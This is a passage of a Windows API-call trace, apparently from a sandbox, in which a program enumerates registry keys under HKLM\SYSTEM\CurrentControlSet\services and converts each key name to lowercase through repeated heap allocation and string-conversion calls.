lpName="SOFTWARE") returned 0x0 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.464] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0236.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.464] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.464] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.465] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.465] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.465] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a48, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.465] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.465] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0236.465] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.465] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.466] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.466] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.466] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.466] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.467] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.467] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.467] RegCloseKey (hKey=0x150) returned 0x0 [0236.467] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.467] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.467] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0236.467] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.467] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.468] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1850, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.468] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.468] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.468] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0236.468] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.468] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.468] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.469] RegCloseKey (hKey=0x154) returned 0x0 [0236.469] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.469] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1850, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.469] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a48, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.469] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.469] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0236.469] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.469] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1850, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.470] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, 